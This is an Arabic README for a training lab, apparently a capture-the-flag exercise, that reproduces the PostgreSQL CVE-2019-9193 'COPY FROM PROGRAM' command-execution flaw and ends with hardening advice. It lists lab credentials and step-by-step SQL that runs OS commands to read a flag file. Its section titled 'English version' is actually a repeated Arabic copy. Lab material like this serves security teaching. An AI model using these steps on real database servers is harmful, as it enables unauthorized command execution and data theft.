CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

يحاكي هذا المختبر الثغرة CVE-2019-9193 التي حدثت في PostgreSQL الإصدار 9.3 - 11.2، والتي تتيح للمستخدم الذي يتمتع بصلاحيات superuser أو دور pg_execute_server_program استخدام الأمر:

COPY ... FROM PROGRAM '<command>'

لتشغيل أوامر نظام التشغيل مباشرة، مما يؤدي إلى تنفيذ الأوامر عن بُعد (RCE) إذا تمكن المهاجم من الوصول إلى قاعدة البيانات.

هذا المختبر يسمح لك باستخدام هذه الإمكانية لقراءة الملف:

/tmp/flag.txt

أهداف المختبر

1. الاتصال بـ PostgreSQL باستخدام:
   • المستخدم: postgres
   • كلمة المرور: sentinel7
   • المنفذ: 5433
2. استخدام COPY FROM PROGRAM لتشغيل أوامر نظام التشغيل
3. قراءة العلامة من /tmp/flag.txt

البدء

docker compose build
docker compose up -d

ثم الاتصال بقاعدة البيانات:

psql -U postgres -h 127.0.0.1 -p 5433

خطوات الهجوم

1) إنشاء جدول لتخزين المخرجات

CREATE TABLE cmd_exec(cmd_output text);

2) اختبار RCE بأمر id

COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) قراءة العلامة

TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

مثال على المخرجات:

flag{SECRET}

توصيات أمنية

• لا تستخدم المستخدم postgres مع التطبيقات الحقيقية
• قَيّد الأدوار بحيث لا تحتوي على pg_execute_server_program
• عطّل أو قَيّد استخدام COPY PROGRAM
• حصّن التطبيقات ضد SQLi في جميع الأنظمة

النسخة الإنجليزية

CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

يحاكي هذا المختبر CVE-2019-9193، وهي ثغرة في PostgreSQL الإصدار 9.3–11.2 تسمح باستخدام:

COPY ... FROM PROGRAM '<command>'

لتنفيذ أوامر نظام التشغيل عند تشغيلها بواسطة مستخدم superuser أو دور يحتوي على pg_execute_server_program.

مهمتك هي استغلال هذه الميزة لقراءة:

/tmp/flag.txt

الهدف

1. الاتصال بـ PostgreSQL:
   • المستخدم: postgres
   • كلمة المرور: sentinel7
   • منفذ المضيف: 5433
2. استخدام COPY FROM PROGRAM لـ:
   • تنفيذ أوامر نظام التشغيل
   • استرجاع العلامة

البدء

docker compose build
docker compose up -d

الاتصال عبر:

psql -U postgres -h 127.0.0.1 -p 5433

الاستغلال

1) إنشاء جدول

CREATE TABLE cmd_exec(cmd_output text);

2) اختبار RCE

COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) قراءة العلامة

TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

ملاحظات أمنية

• لا تقم أبداً بتشغيل التطبيقات باستخدام superuser الخاص بـ PostgreSQL
• لا تمنح صلاحية pg_execute_server_program دون داعٍ
• عطّل أو قَيّد استخدام COPY PROGRAM
• حصّن التطبيقات ضد حقن SQL